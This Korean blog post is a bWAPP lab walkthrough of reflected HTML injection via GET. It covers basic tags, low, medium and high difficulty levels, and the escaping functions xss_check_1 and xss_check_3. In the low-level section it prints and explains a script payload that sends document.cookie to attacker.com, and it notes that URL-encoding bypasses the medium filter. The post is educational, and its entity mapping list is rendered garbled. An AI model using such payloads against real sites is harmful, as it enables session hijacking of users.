HTML Injection - Reflected (GET)란?
HTML Injection - Reflected (GET)는 웹 페이지에 사용자가 입력한 HTML 코드가 그대로 반영되어 표시되는 취약점을 이용한 공격이며, 여기서 Reflected는 입력한 데이터가 서버에 저장되지 않고 즉시 웹 페이지에 반영된다는 뜻이고, GET은 입력 데이터가 URL에 포함되어 전달된다는 걸 의미한다.
어떻게 작동하나?
- 사용자가 입력: 사용자가 웹 페이지의 URL이나 검색창 같은 곳에 데이터를 입력한다.
- 서버가 반영: 서버는 이 입력을 그대로 웹 페이지에 반영한다.
- 브라우저가 렌더링: 브라우저는 서버가 반환한 HTML 페이지를 렌더링하면서 사용자가 입력한 HTML 코드를 실행함
문제점
- 스크립트 실행: 공격자가 삽입한 악성 스크립트가 실행될 수 있고 예를 들어, 사용자의 세션 쿠키를 훔칠 수 있다.
- 페이지 변경: 웹 페이지의 내용을 변경하거나 악성 사이트로 리디렉션할 수 있다.
- 피싱: 사용자에게 거짓 정보를 보여줘 민감한 정보를 입력하게 유도할 수 있다.
방어 방법
- 입력 검증: 사용자가 입력한 데이터를 철저히 검증
- 예를 들어, 특정 문자나 HTML 태그가 포함되지 않도록 필터링
- 출력 인코딩: 사용자가 입력한 데이터를 HTML에 포함할 때 반드시 인코딩
보안 도구 사용: 웹 프레임워크나 보안 라이브러리를 사용해 자동으로 입력을 검증하고 인코딩하는 기능을 활용
우선 HTML Injection 공격을 하기에 앞서 HTML이 무엇인 지 어떤 코드를 사용하는 지 모르는 사람들이 있을 수 있어 HTML 코드 중 기본적인 걸 설명하겠습니다.
Tag 종류
(1) <h1 / button>
<h1> 태그는 가장 큰 제목을
<button> 태그는 클릭 가능한 버튼을 보여준다.
<h1>바보</h1>
<button>클릭</button>
바보
(2) <a>
HTML <a> 태그는 하이퍼링크를 생성하여 다른 페이지나 리소스로 연결합니다.
<a href = "https://google.com" target = _black>click</a>
click
(3) Input
HTML <Input> 태그는 사용자가 데이터를 입력할 수 있는 다양한 형태의 입력 필드를 생성합니다.
type = "text"
type = "password"
type = "file"
<input type="text" id="username" name="username">
<input type="password" id="password" name="password">
<input type="file" id="file" name="file">
이렇게 간단하게 HTML 코드를 알아 보았고 설명해준 HTML 코드를 가지고 bWAPP에서 실습을 해보겠습니다.
Low 단계
그리고 위에 URL을 보면 내가 입력한 HTML 코드가 그대로 삽입되어 있는 것을 볼 수 있다. 내가 사진에 올린 것처럼 로그인 Form에 입력을 안하고 URL에 HTML 코드를 입력해도 성공적으로 삽입이 된다는 뜻이다.
간단한 코드로만 실습하였기 때문에 이게 뭐가 위험하지 ? 의문이 들 수도 있어 실제 어떤 공격을 하는 지 공격 구문도 실습을 해보겠다.
<script>document.location='http://attacker.com/steal_cookie.php?cookie='+document.cookie</script>
<script> 태그 : HTML 문서 내에 자바스크립트 코드를 포함하는데 사용된다, 브라우저는 이 태그 안의 내용을 자바스크립트로 해석하고 실행합니다
document.location = 현재 문서의 URL을 나타내며 이를 설정하면 브라우저가 해당 URL로 이동하게 됩니다.
='http://attacker.com/steal_cookie.php?cookie=' document.loaction에 새로운 URL을 할당합니다. attacker.com은 사용자가 방문하게 될 공격자 서버의 주소입니다.
+document.cookie = 현재 문서의 모든 쿠키값을 문자열로 반환합니다. 현재 사용자의 쿠키 값을 URL에 추가
사용자가 공격자 페이지를 방문하게 할 때, 현재 페이지의 쿠키 값을 URL 파라미터로 전송하게 만들고 공격자 서버에서 이 쿠키값을 수신하고 저장할 수 있습니다. 공격자는 사용자의 세션을 탈취하는 데 사용될 수 있으며 매우 위험한 공격입니다.
Memium 단계
아까와는 다르게 입력한 태그가 실행되지 않고 화면에 문자열이 그대로 출력되는 것을 확인할 수 있습니다. 또한 GET 방식이기 때문에 URL 부분에는 동일하게 변수가 노출이 됩니다.
입력한 태그가 실행되지 않고 화면에 문자열로 그대로 출력되는 경우, 이는 서버 측에서 HTML 인젝션 공격을 방어하기 위해 입력된 태그를 필터링하거나 이스케이프 처리하고 있기 때문입니다.
인코딩 후 실행하면 Low 단계와 마찬가지로 공격이 통한다는 걸 확인할 수 있습니다.
Q : 왜 문자가 깨지나요 ?
A : URL 인코딩 (%xx) 방식은 비-ASCII 문자를 처리하는 데 한계가 있으며, 이로 인해 한글이 깨질 수 있습니다.
High 단계
High 단계에서는 인코딩한 방법도 화면에 보이는 것처럼 문자열로 그대로 출력되는 것을 확인할 수 있습니다.
코드 분석
Low단계 case "0" 에서는 보안함수가 아무것도 적용이 안되어 있는 것을 확인할 수 있고
Medium단계 case "1" 에서는 xss_check_1
High 단계 case "2"에서는 xss_check_3 라는 보안함수가 적용된 것을 확인할 수 있습니다.
functions_external.php
xss_check_1 함수는 입력된 데이터를 HTML 인젝션 공격으로부터 보호하기 위해 특정 HTML 특수 문자를 이스케이프 처리하는 기능을 수행합니다.
$input = str_replace("<", "<", $data);
$input = str_replace(">", ">", $input);
HTML 인젝션 공격을 방어하기 위해 입력된 문자열에서 <와 > 문자를 각각 <와 >로 변환합니다.
$input = urldecode($input);
URL 인코딩된 문자열을 디코딩하여, 더블 인코딩(예: %3C가 %253C로 변환된 경우)을 처리합니다.
xss_check_3 함수는 주어진 문자열에서 HTML 특수 문자를 HTML 엔티티로 변환하여 XSS 공격을 방지하는 역할을 합니다. 함수는 PHP의 htmlspecialchars 함수를 사용하여 문자열을 안전하게 처리합니다.
htmlspecialchars 함수:
- 이 함수는 문자열에서 특수 문자를 HTML 엔티티로 변환합니다.
- 변환되는 특수 문자:
- & (앰퍼샌드) → &
- " (큰따옴표) → "
- ' (작은따옴표) → '
- < (작은따옴표) → <
- > (큰따옴표) → >
xss_check_1 함수와 비교 했을 때 xss_check_3 함수는 더 광범위한 특수 문자를 변환하여 더 강력한 XSS 방어를 제공합니다.
'bWAPP' 카테고리의 다른 글
A1 - Injection : HTML Injection - Stored (Blog) (0) | 2024.08.08 |
---|---|
A1 - Injection : HTML Injection - Reflected (Current URL) 미완성 (0) | 2024.08.07 |
A1 - Injection : HTML Injection - Reflected (POST) (0) | 2024.08.06 |
VMware Workstation Pro, beebox 설치 (0) | 2024.08.05 |